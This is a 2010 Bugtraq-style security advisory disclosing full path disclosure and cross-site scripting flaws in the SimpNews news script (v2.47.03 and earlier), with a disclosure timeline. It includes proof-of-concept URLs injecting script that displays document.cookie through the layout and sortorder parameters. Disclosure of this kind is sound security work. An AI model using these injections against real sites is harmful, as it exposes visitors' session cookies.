Vulnerabilities in SimpNews

Hello Bugtraq!

I want to warn you about security vulnerabilities in SimpNews.

Advisory: Vulnerabilities in SimpNews

URL: http://websecurity.com.ua/4245/

Affected products: SimpNews V2.47.03 and previous versions.

Timeline:

26.10.2009 - found vulnerabilities.
29.05.2010 - announced at my site.
30.05.2010 - informed developer.
31.05.2010 - developer released SimpNews v2.48. In version 2.48 the
developer fixed all mentioned vulnerabilities.
09.07.2010 - disclosed at my site.

Details:

These are Full path disclosure and Cross-Site Scripting vulnerabilities.

Full path disclosure:

http://site/simpnews/news.php?lang=1&layout=layout2&sortorder=0&category=1

XSS:

http://site/simpnews/news.php?layout=%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://site/simpnews/news.php?lang=en&layout=layout2&sortorder=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua